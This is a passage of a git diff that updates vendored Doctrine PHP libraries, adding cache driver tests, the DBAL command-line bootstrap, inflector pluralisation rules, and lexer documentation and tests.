{ + $this->markTestSkipped('Cannot connect to Redis because of: ' . $e); + } + } + + public function testHitMissesStatsAreProvided() + { + $cache = $this->_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertNotNull($stats[Cache::STATS_HITS]); + $this->assertNotNull($stats[Cache::STATS_MISSES]); + } + + /** + * @return PredisCache + */ + protected function _getCacheDriver() + { + return new PredisCache($this->client); + } + + /** + * {@inheritDoc} + * + * @dataProvider provideDataToCache + */ + public function testSetContainsFetchDelete($value) + { + if (array() === $value) { + $this->markTestIncomplete( + 'Predis currently doesn\'t support saving empty array values. ' + . 'See https://github.com/nrk/predis/issues/241' + ); + } + + parent::testSetContainsFetchDelete($value); + } + + /** + * {@inheritDoc} + * + * @dataProvider provideDataToCache + */ + public function testUpdateExistingEntry($value) + { + if (array() === $value) { + $this->markTestIncomplete( + 'Predis currently doesn\'t support saving empty array values. ' + . 'See https://github.com/nrk/predis/issues/241' + ); + } + + parent::testUpdateExistingEntry($value); + } + + public function testAllowsGenericPredisClient() + { + /* @var $predisClient \Predis\ClientInterface */ + $predisClient = $this->getMock('Predis\\ClientInterface'); + + $this->assertInstanceOf('Doctrine\\Common\\Cache\\PredisCache', new PredisCache($predisClient)); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/RedisCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/RedisCacheTest.php new file mode 100644 index 00000000..5fb6a11d --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/RedisCacheTest.php @@ -0,0 +1,59 @@ +_redis = new \Redis(); + $ok = @$this->_redis->connect('127.0.0.1'); + if (!$ok) { + $this->markTestSkipped('Cannot connect to Redis.'); + } + } + + public function testHitMissesStatsAreProvided() + { + $cache = $this->_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertNotNull($stats[Cache::STATS_HITS]); + $this->assertNotNull($stats[Cache::STATS_MISSES]); + } + + public function testGetRedisReturnsInstanceOfRedis() + { + $this->assertInstanceOf('Redis', $this->_getCacheDriver()->getRedis()); + } + + public function testSerializerOptionWithOutIgbinaryExtension() + { + if (defined('Redis::SERIALIZER_IGBINARY') && extension_loaded('igbinary')) { + $this->markTestSkipped('Extension igbinary is loaded.'); + } + + $this->assertEquals( + \Redis::SERIALIZER_PHP, + $this->_getCacheDriver()->getRedis()->getOption(\Redis::OPT_SERIALIZER) + ); + } + + /** + * {@inheritDoc} + */ + protected function _getCacheDriver() + { + $driver = new RedisCache(); + $driver->setRedis($this->_redis); + return $driver; + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/RiakCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/RiakCacheTest.php new file mode 100644 index 00000000..e7d5f3dd --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/RiakCacheTest.php @@ -0,0 +1,58 @@ +connection = new Connection('127.0.0.1', 8087); + $this->bucket = new Bucket($this->connection, 'test'); + } catch (Exception\RiakException $e) { + $this->markTestSkipped('Cannot connect to Riak.'); + } + } + + /** + * {@inheritdoc} + */ + public function testGetStats() + { + $cache = $this->_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertNull($stats); + } + + /** + * Retrieve RiakCache instance. + * + * @return \Doctrine\Common\Cache\RiakCache + */ + protected function _getCacheDriver() + { + return new RiakCache($this->bucket); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/SQLite3CacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/SQLite3CacheTest.php new file mode 100644 index 00000000..f0c5b0b5 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/SQLite3CacheTest.php @@ -0,0 +1,42 @@ +file = tempnam(null, 'doctrine-cache-test-'); + unlink($this->file); + $this->sqlite = new SQLite3($this->file); + } + + protected function tearDown() + { + $this->sqlite = null; // DB must be closed before + unlink($this->file); + } + + public function testGetStats() + { + $this->assertNull($this->_getCacheDriver()->getStats()); + } + + /** + * {@inheritDoc} + */ + protected function _getCacheDriver() + { + return new SQLite3Cache($this->sqlite, 'test_table'); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/VoidCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/VoidCacheTest.php new file mode 100644 index 00000000..8ab7e5b4 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/VoidCacheTest.php @@ -0,0 +1,58 @@ +assertFalse($cache->contains('foo')); + $this->assertFalse($cache->contains('bar')); + } + + public function testShouldAlwaysReturnFalseOnFetch() + { + $cache = new VoidCache(); + + $this->assertFalse($cache->fetch('foo')); + $this->assertFalse($cache->fetch('bar')); + } + + public function testShouldAlwaysReturnTrueOnSaveButNotStoreAnything() + { + $cache = new VoidCache(); + + $this->assertTrue($cache->save('foo', 'fooVal')); + + $this->assertFalse($cache->contains('foo')); + $this->assertFalse($cache->fetch('foo')); + } + + public function testShouldAlwaysReturnTrueOnDelete() + { + $cache = new VoidCache(); + + $this->assertTrue($cache->delete('foo')); + } + + public function testShouldAlwaysReturnNullOnGetStatus() + { + $cache = new VoidCache(); + + $this->assertNull($cache->getStats()); + } + + public function testShouldAlwaysReturnTrueOnFlush() + { + $cache = new VoidCache(); + + $this->assertTrue($cache->flushAll()); + } +} diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/WinCacheCacheTest.php b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/WinCacheCacheTest.php new file mode 100644 index 00000000..1dded424 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/WinCacheCacheTest.php @@ -0,0 +1,16 @@ +markTestSkipped('Zend Data Cache only works in apache2handler SAPI.'); + } + } + + public function testGetStats() + { + $cache = $this->_getCacheDriver(); + $stats = $cache->getStats(); + + $this->assertNull($stats); + } + + protected function _getCacheDriver() + { + return new ZendDataCache(); + } +} \ No newline at end of file diff --git a/vendor/doctrine/cache/tests/Doctrine/Tests/DoctrineTestCase.php b/vendor/doctrine/cache/tests/Doctrine/Tests/DoctrineTestCase.php new file mode 100644 index 00000000..e8323d29 --- /dev/null +++ b/vendor/doctrine/cache/tests/Doctrine/Tests/DoctrineTestCase.php @@ -0,0 +1,10 @@ + + + + + + + + + + + + + + ../Doctrine/ + + + + + + ../../lib/Doctrine/ + + + + + + performance + + + diff --git a/vendor/doctrine/dbal/bin/doctrine-dbal b/vendor/doctrine/dbal/bin/doctrine-dbal new file mode 100755 index 00000000..0531527d --- /dev/null +++ b/vendor/doctrine/dbal/bin/doctrine-dbal @@ -0,0 +1,4 @@ +#!/usr/bin/env php +. + */ + +use Symfony\Component\Console\Helper\HelperSet; +use Doctrine\DBAL\Tools\Console\ConsoleRunner; + +$files = array(__DIR__ . '/../vendor/autoload.php', __DIR__ . '/../../../autoload.php'); +$loader = null; +$cwd = getcwd(); +$directories = array($cwd, $cwd . DIRECTORY_SEPARATOR . 'config'); +$configFile = null; + +foreach ($files as $file) { + if (file_exists($file)) { + $loader = require $file; + + break; + } +} + +if ( ! $loader) { + throw new RuntimeException('vendor/autoload.php could not be found. Did you run `php composer.phar install`?'); +} + +foreach ($directories as $directory) { + $configFile = $directory . DIRECTORY_SEPARATOR . 'cli-config.php'; + + if (file_exists($configFile)) { + break; + } +} + +if ( ! file_exists($configFile)) { + ConsoleRunner::printCliConfigTemplate(); + + exit(1); +} + +if ( ! is_readable($configFile)) { + echo 'Configuration file [' . $configFile . '] does not have read permission.' . PHP_EOL; + + exit(1); +} + +$commands = array(); +$helperSet = require $configFile; + +if ( ! $helperSet instanceof HelperSet) { + foreach ($GLOBALS as $helperSetCandidate) { + if ($helperSetCandidate instanceof HelperSet) { + $helperSet = $helperSetCandidate; + + break; + } + } +} + +ConsoleRunner::run($helperSet, $commands); diff --git a/vendor/doctrine/inflector/.gitignore b/vendor/doctrine/inflector/.gitignore deleted file mode 100644 index f2cb7f83..00000000 --- a/vendor/doctrine/inflector/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -vendor/ -composer.lock -composer.phar -phpunit.xml diff --git a/vendor/doctrine/inflector/composer.json b/vendor/doctrine/inflector/composer.json index 7e5b2efb..e06b6494 100644 --- a/vendor/doctrine/inflector/composer.json +++ b/vendor/doctrine/inflector/composer.json @@ -13,17 +13,20 @@ {"name": "Johannes Schmitt", "email": "schmittjoh@gmail.com"} ], "require": { - "php": ">=5.3.2" + "php": "^7.0" }, "require-dev": { - "phpunit/phpunit": "4.*" + "phpunit/phpunit": "^6.2" }, "autoload": { - "psr-0": { "Doctrine\\Common\\Inflector\\": "lib/" } + "psr-4": { "Doctrine\\Common\\Inflector\\": "lib/Doctrine/Common/Inflector" } + }, + "autoload-dev": { + "psr-4": { "Doctrine\\Tests\\Common\\Inflector\\": "tests/Doctrine/Common/Inflector" } }, "extra": { "branch-alias": { - "dev-master": "1.1.x-dev" + "dev-master": "1.2.x-dev" } } } diff --git a/vendor/doctrine/inflector/lib/Doctrine/Common/Inflector/Inflector.php b/vendor/doctrine/inflector/lib/Doctrine/Common/Inflector/Inflector.php index a53828ab..3a951af8 100644 --- a/vendor/doctrine/inflector/lib/Doctrine/Common/Inflector/Inflector.php +++ b/vendor/doctrine/inflector/lib/Doctrine/Common/Inflector/Inflector.php @@ -49,7 +49,7 @@ class Inflector '/(matr|vert|ind)(ix|ex)$/i' => '\1ices', '/(x|ch|ss|sh)$/i' => '\1es', '/([^aeiouy]|qu)y$/i' => '\1ies', - '/(hive)$/i' => '\1s', + '/(hive|gulf)$/i' => '\1s', '/(?:([^f])fe|([lr])f)$/i' => '\1\2ves', '/sis$/i' => 'ses', '/([ti])um$/i' => '\1a', @@ -67,7 +67,16 @@ class Inflector '/$/' => 's', ), 'uninflected' => array( - '.*[nrlm]ese', '.*deer', '.*fish', '.*measles', '.*ois', '.*pox', '.*sheep', 'people', 'cookie' + '.*[nrlm]ese', + '.*deer', + '.*fish', + '.*measles', + '.*ois', + '.*pox', + '.*sheep', + 'people', + 'cookie', + 'police', ), 'irregular' => array( 'atlas' => 'atlases', @@ -76,6 +85,7 @@ class Inflector 'brother' => 'brothers', 'cafe' => 'cafes', 'chateau' => 'chateaux', + 'niveau' => 'niveaux', 'child' => 'children', 'cookie' => 'cookies', 'corpus' => 'corpuses', @@ -95,6 +105,7 @@ class Inflector 'hoof' => 'hoofs', 'human' => 'humans', 'iris' => 'irises', + 'larva' => 'larvae', 'leaf' => 'leaves', 'loaf' => 'loaves', 'man' => 'men', @@ -112,6 +123,7 @@ class Inflector 'octopus' => 'octopuses', 'opus' => 'opuses', 'ox' => 'oxen', + 'passerby' => 'passersby', 'penis' => 'penises', 'person' => 'people', 'plateau' => 'plateaux', @@ -161,6 +173,7 @@ class Inflector '/(tive)s$/i' => '\1', '/(hive)s$/i' => '\1', '/(drive)s$/i' => '\1', + '/(dive)s$/i' => '\1', '/([^fo])ves$/i' => '\1fe', '/(^analy)ses$/i' => '\1sis', '/(analy|diagno|^ba|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i' => '\1\2sis', @@ -183,8 +196,12 @@ class Inflector '.*pox', '.*sheep', '.*ss', + 'police', + 'pants', + 'clothes', ), 'irregular' => array( + 'caches' => 'cache', 'criteria' => 'criterion', 'curves' => 'curve', 'emphases' => 'emphasis', @@ -206,9 +223,9 @@ class Inflector 'Amoyese', 'bison', 'Borghese', 'bream', 'breeches', 'britches', 'buffalo', 'cantus', 'carp', 'chassis', 'clippers', 'cod', 'coitus', 'Congoese', 'contretemps', 'corps', 'debris', 'diabetes', 'djinn', 'eland', 'elk', 'equipment', 'Faroese', 'flounder', - 'Foochowese', 'gallows', 'Genevese', 'Genoese', 'Gilbertese', 'graffiti', + 'Foochowese', 'Furniture', 'gallows', 'Genevese', 'Genoese', 'Gilbertese', 'graffiti', 'headquarters', 'herpes', 'hijinks', 'Hottentotese', 'information', 'innings', - 'jackanapes', 'Kiplingese', 'Kongoese', 'Lucchese', 'mackerel', 'Maltese', '.*?media', + 'jackanapes', 'Kiplingese', 'Kongoese', 'Lucchese', 'Luggage', 'mackerel', 'Maltese', '.*?media', 'mews', 'moose', 'mumps', 'Nankingese', 'news', 'nexus', 'Niasese', 'Pekingese', 'Piedmontese', 'pincers', 'Pistoiese', 'pliers', 'Portuguese', 'proceedings', 'rabies', 'rice', 'rhinoceros', 'salmon', 'Sarawakese', 'scissors', @@ -252,7 +269,7 @@ public static function tableize($word) */ public static function classify($word) { - return str_replace(" ", "", ucwords(strtr($word, "_-", " "))); + return str_replace(' ', '', ucwords(strtr($word, '_-', ' '))); } /** @@ -404,7 +421,7 @@ public static function pluralize($word) if (preg_match('/(.*)\\b(' . self::$plural['cacheIrregular'] . ')$/i', $word, $regs)) { self::$cache['pluralize'][$word] = $regs[1] . substr($word, 0, 1) . substr(self::$plural['merged']['irregular'][strtolower($regs[2])], 1); - + return self::$cache['pluralize'][$word]; } @@ -457,7 +474,7 @@ public static function singularize($word) if (preg_match('/(.*)\\b(' . self::$singular['cacheIrregular'] . ')$/i', $word, $regs)) { self::$cache['singularize'][$word] = $regs[1] . substr($word, 0, 1) . substr(self::$singular['merged']['irregular'][strtolower($regs[2])], 1); - + return self::$cache['singularize'][$word]; } diff --git a/vendor/doctrine/lexer/.github/FUNDING.yml b/vendor/doctrine/lexer/.github/FUNDING.yml new file mode 100644 index 00000000..e081a97a --- /dev/null +++ b/vendor/doctrine/lexer/.github/FUNDING.yml @@ -0,0 +1,3 @@ +patreon: phpdoctrine +tidelift: packagist/doctrine%2Flexer +custom: https://www.doctrine-project.org/sponsorship.html diff --git a/vendor/doctrine/lexer/docs/en/dql-parser.rst b/vendor/doctrine/lexer/docs/en/dql-parser.rst new file mode 100644 index 00000000..c7d581da --- /dev/null +++ b/vendor/doctrine/lexer/docs/en/dql-parser.rst @@ -0,0 +1,294 @@ +DQL Lexer +========= + +Here is a more complicated example from the Doctrine ORM project. +The ``Doctrine\ORM\Query\Lexer`` implementation for DQL looks something +like the following: + +.. code-block:: php + + use Doctrine\Common\Lexer\AbstractLexer; + + class Lexer extends AbstractLexer + { + // All tokens that are not valid identifiers must be < 100 + public const T_NONE = 1; + public const T_INTEGER = 2; + public const T_STRING = 3; + public const T_INPUT_PARAMETER = 4; + public const T_FLOAT = 5; + public const T_CLOSE_PARENTHESIS = 6; + public const T_OPEN_PARENTHESIS = 7; + public const T_COMMA = 8; + public const T_DIVIDE = 9; + public const T_DOT = 10; + public const T_EQUALS = 11; + public const T_GREATER_THAN = 12; + public const T_LOWER_THAN = 13; + public const T_MINUS = 14; + public const T_MULTIPLY = 15; + public const T_NEGATE = 16; + public const T_PLUS = 17; + public const T_OPEN_CURLY_BRACE = 18; + public const T_CLOSE_CURLY_BRACE = 19; + + // All tokens that are identifiers or keywords that could be considered as identifiers should be >= 100 + public const T_ALIASED_NAME = 100; + public const T_FULLY_QUALIFIED_NAME = 101; + public const T_IDENTIFIER = 102; + + // All keyword tokens should be >= 200 + public const T_ALL = 200; + public const T_AND = 201; + public const T_ANY = 202; + public const T_AS = 203; + public const T_ASC = 204; + public const T_AVG = 205; + public const T_BETWEEN = 206; + public const T_BOTH = 207; + public const T_BY = 208; + public const T_CASE = 209; + public const T_COALESCE = 210; + public const T_COUNT = 211; + public const T_DELETE = 212; + public const T_DESC = 213; + public const T_DISTINCT = 214; + public const T_ELSE = 215; + public const T_EMPTY = 216; + public const T_END = 217; + public const T_ESCAPE = 218; + public const T_EXISTS = 219; + public const T_FALSE = 220; + public const T_FROM = 221; + public const T_GROUP = 222; + public const T_HAVING = 223; + public const T_HIDDEN = 224; + public const T_IN = 225; + public const T_INDEX = 226; + public const T_INNER = 227; + public const T_INSTANCE = 228; + public const T_IS = 229; + public const T_JOIN = 230; + public const T_LEADING = 231; + public const T_LEFT = 232; + public const T_LIKE = 233; + public const T_MAX = 234; + public const T_MEMBER = 235; + public const T_MIN = 236; + public const T_NEW = 237; + public const T_NOT = 238; + public const T_NULL = 239; + public const T_NULLIF = 240; + public const T_OF = 241; + public const T_OR = 242; + public const T_ORDER = 243; + public const T_OUTER = 244; + public const T_PARTIAL = 245; + public const T_SELECT = 246; + public const T_SET = 247; + public const T_SOME = 248; + public const T_SUM = 249; + public const T_THEN = 250; + public const T_TRAILING = 251; + public const T_TRUE = 252; + public const T_UPDATE = 253; + public const T_WHEN = 254; + public const T_WHERE = 255; + public const T_WITH = 256; + + /** + * Creates a new query scanner object. + * + * @param string $input A query string. + */ + public function __construct($input) + { + $this->setInput($input); + } + + /** + * {@inheritdoc} + */ + protected function getCatchablePatterns() + { + return [ + '[a-z_][a-z0-9_]*\:[a-z_][a-z0-9_]*(?:\\\[a-z_][a-z0-9_]*)*', // aliased name + '[a-z_\\\][a-z0-9_]*(?:\\\[a-z_][a-z0-9_]*)*', // identifier or qualified name + '(?:[0-9]+(?:[\.][0-9]+)*)(?:e[+-]?[0-9]+)?', // numbers + "'(?:[^']|'')*'", // quoted strings + '\?[0-9]*|:[a-z_][a-z0-9_]*', // parameters + ]; + } + + /** + * {@inheritdoc} + */ + protected function getNonCatchablePatterns() + { + return ['\s+', '(.)']; + } + + /** + * {@inheritdoc} + */ + protected function getType(&$value) + { + $type = self::T_NONE; + + switch (true) { + // Recognize numeric values + case (is_numeric($value)): + if (strpos($value, '.') !== false || stripos($value, 'e') !== false) { + return self::T_FLOAT; + } + + return self::T_INTEGER; + + // Recognize quoted strings + case ($value[0] === "'"): + $value = str_replace("''", "'", substr($value, 1, strlen($value) - 2)); + + return self::T_STRING; + + // Recognize identifiers, aliased or qualified names + case (ctype_alpha($value[0]) || $value[0] === '_' || $value[0] === '\\'): + $name = 'Doctrine\ORM\Query\Lexer::T_' . strtoupper($value); + + if (defined($name)) { + $type = constant($name); + + if ($type > 100) { + return $type; + } + } + + if (strpos($value, ':') !== false) { + return self::T_ALIASED_NAME; + } + + if (strpos($value, '\\') !== false) { + return self::T_FULLY_QUALIFIED_NAME; + } + + return self::T_IDENTIFIER; + + // Recognize input parameters + case ($value[0] === '?' || $value[0] === ':'): + return self::T_INPUT_PARAMETER; + + // Recognize symbols + case ($value === '.'): + return self::T_DOT; + case ($value === ','): + return self::T_COMMA; + case ($value === '('): + return self::T_OPEN_PARENTHESIS; + case ($value === ')'): + return self::T_CLOSE_PARENTHESIS; + case ($value === '='): + return self::T_EQUALS; + case ($value === '>'): + return self::T_GREATER_THAN; + case ($value === '<'): + return self::T_LOWER_THAN; + case ($value === '+'): + return self::T_PLUS; + case ($value === '-'): + return self::T_MINUS; + case ($value === '*'): + return self::T_MULTIPLY; + case ($value === '/'): + return self::T_DIVIDE; + case ($value === '!'): + return self::T_NEGATE; + case ($value === '{'): + return self::T_OPEN_CURLY_BRACE; + case ($value === '}'): + return self::T_CLOSE_CURLY_BRACE; + + // Default + default: + // Do nothing + } + + return $type; + } + } + +This is roughly what the DQL Parser looks like that uses the above +Lexer implementation: + +.. note:: + + You can see the full implementation `here `_. + +.. code-block:: php + + class Parser + { + private $lexer; + + public function __construct($dql) + { + $this->lexer = new Lexer(); + $this->lexer->setInput($dql); + } + + // ... + + public function getAST() + { + // Parse & build AST + $AST = $this->QueryLanguage(); + + // ... + + return $AST; + } + + public function QueryLanguage() + { + $this->lexer->moveNext(); + + switch ($this->lexer->lookahead['type']) { + case Lexer::T_SELECT: + $statement = $this->SelectStatement(); + break; + case Lexer::T_UPDATE: + $statement = $this->UpdateStatement(); + break; + case Lexer::T_DELETE: + $statement = $this->DeleteStatement(); + break; + default: + $this->syntaxError('SELECT, UPDATE or DELETE'); + break; + } + + // Check for end of string + if ($this->lexer->lookahead !== null) { + $this->syntaxError('end of string'); + } + + return $statement; + } + + // ... + } + +Now the AST is used to transform the DQL query in to portable SQL for whatever relational +database you are using! + +.. code-block:: php + + $parser = new Parser('SELECT u FROM User u'); + $AST = $parser->getAST(); // returns \Doctrine\ORM\Query\AST\SelectStatement + +What is an AST? +=============== + +AST stands for `Abstract syntax tree `_. +In computer science, an abstract syntax tree (AST), or just syntax tree, is a +tree representation of the abstract syntactic structure of source code written +in a programming language. Each node of the tree denotes a construct occurring in +the source code. diff --git a/vendor/doctrine/lexer/docs/en/index.rst b/vendor/doctrine/lexer/docs/en/index.rst new file mode 100644 index 00000000..2aa985be --- /dev/null +++ b/vendor/doctrine/lexer/docs/en/index.rst @@ -0,0 +1,53 @@ +Introduction +============ + +Doctrine Lexer is a library that can be used in Top-Down, Recursive +Descent Parsers. This lexer is used in Doctrine Annotations and in +Doctrine ORM (DQL). + +To write your own parser you just need to extend ``Doctrine\Common\Lexer\AbstractLexer`` +and implement the following three abstract methods. + +.. code-block:: php + + /** + * Lexical catchable patterns. + * + * @return array + */ + abstract protected function getCatchablePatterns(); + + /** + * Lexical non-catchable patterns. + * + * @return array + */ + abstract protected function getNonCatchablePatterns(); + + /** + * Retrieve token type. Also processes the token value if necessary. + * + * @param string $value + * @return integer + */ + abstract protected function getType(&$value); + +These methods define the `lexical `_ +catchable and non-catchable patterns and a method for returning the +type of a token and filtering the value if necessary. + +The Lexer is responsible for giving you an API to walk across a +string one character at a time and analyze the type of each character, value and position of +each token in the string. The low level API of the lexer is pretty simple: + +- ``setInput($input)`` - Sets the input data to be tokenized. The Lexer is immediately reset and the new input tokenized. +- ``reset()`` - Resets the lexer. +- ``resetPeek()`` - Resets the peek pointer to 0. +- ``resetPosition($position = 0)`` - Resets the lexer position on the input to the given position. +- ``isNextToken($token)`` - Checks whether a given token matches the current lookahead. +- ``isNextTokenAny(array $tokens)`` - Checks whether any of the given tokens matches the current lookahead. +- ``moveNext()`` - Moves to the next token in the input string. +- ``skipUntil($type)`` - Tells the lexer to skip input tokens until it sees a token with the given value. +- ``isA($value, $token)`` - Checks if given value is identical to the given token. +- ``peek()`` - Moves the lookahead token forward. +- ``glimpse()`` - Peeks at the next token, returns it and immediately resets the peek. diff --git a/vendor/doctrine/lexer/docs/en/sidebar.rst b/vendor/doctrine/lexer/docs/en/sidebar.rst new file mode 100644 index 00000000..9b04e244 --- /dev/null +++ b/vendor/doctrine/lexer/docs/en/sidebar.rst @@ -0,0 +1,6 @@ +.. toctree:: + :depth: 3 + + index + simple-parser-example + dql-parser diff --git a/vendor/doctrine/lexer/docs/en/simple-parser-example.rst b/vendor/doctrine/lexer/docs/en/simple-parser-example.rst new file mode 100644 index 00000000..ac142421 --- /dev/null +++ b/vendor/doctrine/lexer/docs/en/simple-parser-example.rst @@ -0,0 +1,102 @@ +Simple Parser Example +===================== + +Extend the ``Doctrine\Common\Lexer\AbstractLexer`` class and implement +the ``getCatchablePatterns``, ``getNonCatchablePatterns``, and ``getType`` +methods. Here is a very simple example lexer implementation named ``CharacterTypeLexer``. +It tokenizes a string to ``T_UPPER``, ``T_LOWER`` and``T_NUMBER`` tokens: + +.. code-block:: php + lexer = $lexer; + } + + public function getUpperCaseCharacters($string) + { + $this->lexer->setInput($string); + $this->lexer->moveNext(); + + $upperCaseChars = array(); + while (true) { + if (!$this->lexer->lookahead) { + break; + } + + $this->lexer->moveNext(); + + if ($this->lexer->token['type'] === CharacterTypeLexer::T_UPPER) { + $upperCaseChars[] = $this->lexer->token['value']; + } + } + + return $upperCaseChars; + } + } + + $upperCaseCharacterExtractor = new UpperCaseCharacterExtracter(new CharacterTypeLexer()); + $upperCaseCharacters = $upperCaseCharacterExtractor->getUpperCaseCharacters('1aBcdEfgHiJ12'); + + print_r($upperCaseCharacters); + +The variable ``$upperCaseCharacters`` contains all of the upper case +characters: + +.. code-block:: php + Array + ( + [0] => B + [1] => E + [2] => H + [3] => J + ) + +This is a simple example but it should demonstrate the low level API +that can be used to build more complex parsers. diff --git a/vendor/doctrine/lexer/phpunit.xml.dist b/vendor/doctrine/lexer/phpunit.xml.dist new file mode 100644 index 00000000..d0a18466 --- /dev/null +++ b/vendor/doctrine/lexer/phpunit.xml.dist @@ -0,0 +1,26 @@ + + + + + + + + + + + tests + + + + + + lib/Doctrine + + + diff --git a/vendor/doctrine/lexer/tests/Doctrine/Common/Lexer/AbstractLexerTest.php b/vendor/doctrine/lexer/tests/Doctrine/Common/Lexer/AbstractLexerTest.php new file mode 100644 index 00000000..8a2a4e49 --- /dev/null +++ b/vendor/doctrine/lexer/tests/Doctrine/Common/Lexer/AbstractLexerTest.php @@ -0,0 +1,268 @@ +concreteLexer = new ConcreteLexer(); + } + + public function dataProvider() + { + return array( + array( + 'price=10', + array( + array( + 'value' => 'price', + 'type' => 'string', + 'position' => 0, + ), + array( + 'value' => '=', + 'type' => 'operator', + 'position' => 5, + ), + array( + 'value' => 10, + 'type' => 'int', + 'position' => 6, + ), + ), + ), + ); + } + + public function testResetPeek() + { + $expectedTokens = array( + array( + 'value' => 'price', + 'type' => 'string', + 'position' => 0, + ), + array( + 'value' => '=', + 'type' => 'operator', + 'position' => 5, + ), + array( + 'value' => 10, + 'type' => 'int', + 'position' => 6, + ), + ); + + $this->concreteLexer->setInput('price=10'); + + $this->assertEquals($expectedTokens[0], $this->concreteLexer->peek()); + $this->assertEquals($expectedTokens[1], $this->concreteLexer->peek()); + $this->concreteLexer->resetPeek(); + $this->assertEquals($expectedTokens[0], $this->concreteLexer->peek()); + } + + public function testResetPosition() + { + $expectedTokens = array( + array( + 'value' => 'price', + 'type' => 'string', + 'position' => 0, + ), + array( + 'value' => '=', + 'type' => 'operator', + 'position' => 5, + ), + array( + 'value' => 10, + 'type' => 'int', + 'position' => 6, + ), + ); + + $this->concreteLexer->setInput('price=10'); + $this->assertNull($this->concreteLexer->lookahead); + + $this->assertTrue($this->concreteLexer->moveNext()); + $this->assertEquals($expectedTokens[0], $this->concreteLexer->lookahead); + + $this->assertTrue($this->concreteLexer->moveNext()); + $this->assertEquals($expectedTokens[1], $this->concreteLexer->lookahead); + + $this->concreteLexer->resetPosition(0); + + $this->assertTrue($this->concreteLexer->moveNext()); + $this->assertEquals($expectedTokens[0], $this->concreteLexer->lookahead); + } + + /** + * @dataProvider dataProvider + * + * @param $input + * @param $expectedTokens + */ + public function testMoveNext($input, $expectedTokens) + { + $this->concreteLexer->setInput($input); + $this->assertNull($this->concreteLexer->lookahead); + + for ($i = 0; $i < count($expectedTokens); $i++) { + $this->assertTrue($this->concreteLexer->moveNext()); + $this->assertEquals($expectedTokens[$i], $this->concreteLexer->lookahead); + } + + $this->assertFalse($this->concreteLexer->moveNext()); + $this->assertNull($this->concreteLexer->lookahead); + } + + public function testSkipUntil() + { + $this->concreteLexer->setInput('price=10'); + + $this->assertTrue($this->concreteLexer->moveNext()); + $this->concreteLexer->skipUntil('operator'); + + $this->assertEquals( + array( + 'value' => '=', + 'type' => 'operator', + 'position' => 5, + ), + $this->concreteLexer->lookahead + ); + } + + public function testUtf8Mismatch() + { + $this->concreteLexer->setInput("\xE9=10"); + + $this->assertTrue($this->concreteLexer->moveNext()); + + $this->assertEquals( + array( + 'value' => "\xE9=10", + 'type' => 'string', + 'position' => 0, + ), + $this->concreteLexer->lookahead + ); + } + + /** + * @dataProvider dataProvider + * + * @param $input + * @param $expectedTokens + */ + public function testPeek($input, $expectedTokens) + { + $this->concreteLexer->setInput($input); + foreach ($expectedTokens as $expectedToken) { + $this->assertEquals($expectedToken, $this->concreteLexer->peek()); + } + + $this->assertNull($this->concreteLexer->peek()); + } + + /** + * @dataProvider dataProvider + * + * @param $input + * @param $expectedTokens + */ + public function testGlimpse($input, $expectedTokens) + { + $this->concreteLexer->setInput($input); + + foreach ($expectedTokens as $expectedToken) { + $this->assertEquals($expectedToken, $this->concreteLexer->glimpse()); + $this->concreteLexer->moveNext(); + } + + $this->assertNull($this->concreteLexer->peek()); + } + + public function inputUntilPositionDataProvider() + { + return array( + array('price=10', 5, 'price'), + ); + } + + /** + * @dataProvider inputUntilPositionDataProvider + * + * @param $input + * @param $position + * @param $expectedInput + */ + public function testGetInputUntilPosition($input, $position, $expectedInput) + { + $this->concreteLexer->setInput($input); + + $this->assertSame($expectedInput, $this->concreteLexer->getInputUntilPosition($position)); + } + + /** + * @dataProvider dataProvider + * + * @param $input + * @param $expectedTokens + */ + public function testIsNextToken($input, $expectedTokens) + { + $this->concreteLexer->setInput($input); + + $this->concreteLexer->moveNext(); + for ($i = 0; $i < count($expectedTokens); $i++) { + $this->assertTrue($this->concreteLexer->isNextToken($expectedTokens[$i]['type'])); + $this->concreteLexer->moveNext(); + } + } + + /** + * @dataProvider dataProvider + * + * @param $input + * @param $expectedTokens + */ + public function testIsNextTokenAny($input, $expectedTokens) + { + $allTokenTypes = array_map(function ($token) { + return $token['type']; + }, $expectedTokens); + + $this->concreteLexer->setInput($input); + + $this->concreteLexer->moveNext(); + for ($i = 0; $i < count($expectedTokens); $i++) { + $this->assertTrue($this->concreteLexer->isNextTokenAny(array($expectedTokens[$i]['type']))); + $this->assertTrue($this->concreteLexer->isNextTokenAny($allTokenTypes)); + $this->concreteLexer->moveNext(); + } + } + + public function testGetLiteral() + { + $this->assertSame('Doctrine\Tests\Common\Lexer\ConcreteLexer::INT', $this->concreteLexer->getLiteral('int')); + $this->assertSame('fake_token', $this->concreteLexer->getLiteral('fake_token')); + } + + public function testIsA() + { + $this->assertTrue($this->concreteLexer->isA(11, 'int')); + $this->assertTrue($this->concreteLexer->isA(1.1, 'int')); + $this->assertTrue($this->concreteLexer->isA('=', 'operator')); + $this->assertTrue($this->concreteLexer->isA('>', 'operator')); + $this->assertTrue($this->concreteLexer->isA('<', 'operator')); + $this->assertTrue($this->concreteLexer->isA('fake_text', 'string')); + } +} diff --git a/vendor/doctrine/lexer/tests/Doctrine/Common/Lexer/ConcreteLexer.php 